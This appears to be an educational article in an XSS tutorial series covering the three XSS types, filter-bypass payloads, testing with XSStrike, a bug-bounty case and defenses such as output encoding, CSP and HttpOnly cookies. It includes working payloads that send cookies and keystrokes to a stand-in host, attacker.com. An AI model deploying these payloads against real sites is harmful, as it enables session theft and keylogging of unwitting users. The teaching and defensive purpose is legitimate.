What is Cross-Site Scripting?

Cross-Site Scripting (XSS) is a client-side code injection vulnerability where an attacker tricks a web application into delivering malicious scripts to unsuspecting users. Unlike server-side attacks, XSS targets the user's browser, not the web server.

When an XSS attack succeeds, the injected script executes in the context of the victim's browser — meaning it can:

  • Steal session cookies and authentication tokens
  • Capture keystrokes
  • Redirect users to phishing pages
  • Perform actions on behalf of the victim (CSRF-like behavior)
  • Exfiltrate sensitive data from the DOM

The Three Types of XSS

1. Stored XSS (Persistent)

Stored XSS occurs when malicious input is saved to the server (database, log file, etc.) and later rendered to other users without sanitization.

Classic attack scenario:

html
<!-- Attacker submits this as a comment on a blog post -->
<script>
  document.location = 'https://attacker.com/steal?cookie=' + document.cookie;
</script>

Every user who views that comment will have their cookie sent to the attacker. This is the most dangerous variant because:

  • It doesn't require tricking the victim into clicking a link
  • It can affect thousands of users from a single injection

2. Reflected XSS (Non-Persistent)

Reflected XSS happens when user-supplied data is immediately "reflected" back in the HTTP response without being stored.

Example vulnerable URL:

plaintext
https://shop.example.com/search?q=<script>alert(document.cookie)</script>

If the application renders this unsanitized:

html
<h1>Search results for: <script>alert(document.cookie)</script></h1>

The attacker crafts a malicious link and delivers it to victims via phishing emails or social engineering.

3. DOM-Based XSS

In DOM XSS, the vulnerability exists entirely in client-side JavaScript. The server never sees the malicious payload — it lives in the URL fragment (#).

javascript
// Vulnerable code: reads URL hash and writes it to the DOM unsanitized
document.getElementById('welcome').innerHTML = location.hash.substring(1);

Attack URL:

plaintext
https://victim.com/page#<img src=x onerror=alert(1)>

Advanced Payload Techniques

Bypassing Basic Filters

Many developers implement naive XSS filters that can be bypassed with encoding tricks:

html
<!-- When <script> is filtered, use event handlers -->
<img src=x onerror="alert(1)">

<!-- Bypass case-sensitive filters -->
<ScRiPt>alert(1)</ScRiPt>

<!-- HTML entity encoding bypass -->
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

<!-- JavaScript protocol in href -->
<a href="javascript:alert(document.cookie)">Click me</a>

<!-- SVG vectors -->
<svg onload=alert(1)>

<!-- Template literal bypass (when quotes are filtered) -->
<img src=x onerror=`alert(1)`>
javascript
// Full cookie exfiltration
new Image().src = 'https://attacker.com/steal?c=' + 
  encodeURIComponent(document.cookie) + 
  '&u=' + encodeURIComponent(location.href);

Keylogger Payload

javascript
// Capture keystrokes
document.addEventListener('keyup', function(e) {
  fetch('https://attacker.com/keys?k=' + encodeURIComponent(e.key));
});

Finding XSS in the Wild

Manual Testing Approach

  1. Identify injection points — search boxes, form fields, URL params, headers (User-Agent, Referer), HTTP response bodies
  2. Inject a probe — start with "><h1>XSS</h1> to see if your input appears in the HTML context
  3. Analyze the context — are you inside a tag attribute? A JavaScript string? An HTML comment?
  4. Craft a context-aware payload — different contexts require different payloads

Context-aware payloads:

html
<!-- HTML context: you're between tags -->
<script>alert(1)</script>

<!-- Attribute context: you're inside an attribute value -->
" onmouseover="alert(1)

<!-- JavaScript string context: you're inside a JS string -->
'; alert(1); //

<!-- HTML comment context -->
--> <script>alert(1)</script> <!--

Automated Scanning with XSStrike

bash
# Basic XSS scan
python3 xsstrike.py -u "https://target.com/search?q=test"

# Crawl and scan
python3 xsstrike.py -u "https://target.com" --crawl -l 3

# Blind XSS mode (useful for stored XSS)
python3 xsstrike.py -u "https://target.com/contact" --blind

Real-World Bug Bounty Examples

Case Study: Stored XSS in Profile Bio

During a bug bounty on a social platform, a researcher found that the "About Me" section allowed HTML injection:

plaintext
Input: Hi, I'm a <b>developer</b>
Output: Hi, I'm a <b>developer</b>    ← HTML rendered!

The attack payload:

html
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">

Since the bio was shown to anyone who viewed the profile, this was a high-severity stored XSS — worth $5,000 on that program.

Defense & Mitigation

As a developer, preventing XSS requires defense in depth:

1. Output Encoding

Always encode user-supplied data before rendering:

javascript
// ❌ Vulnerable
element.innerHTML = userInput;

// ✅ Safe
element.textContent = userInput;

// ✅ If HTML is needed, use DOMPurify
element.innerHTML = DOMPurify.sanitize(userInput);

2. Content Security Policy (CSP)

A well-configured CSP prevents inline script execution:

http
Content-Security-Policy: 
  default-src 'self'; 
  script-src 'self' 'nonce-{random}'; 
  object-src 'none';

3. HTTPOnly & Secure Cookies

Prevent JavaScript access to session cookies:

http
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

4. Input Validation

Validate input on the server side — reject anything that doesn't match expected patterns.

Summary

XSS remains one of OWASP's Top 10 vulnerabilities because developers continue to trust user input. The key takeaways:

  • Stored XSS = most dangerous, affects all users
  • Reflected XSS = requires social engineering, but still critical
  • DOM XSS = entirely client-side, often missed by scanners
  • Always test every input for injection points
  • Defense requires encoding, CSP, and secure cookie flags

In the next episode, we'll dive into advanced filter bypasses and how to exploit XSS in modern JavaScript frameworks like React and Angular.


This article is part of the XSS Attacks Masterclass series.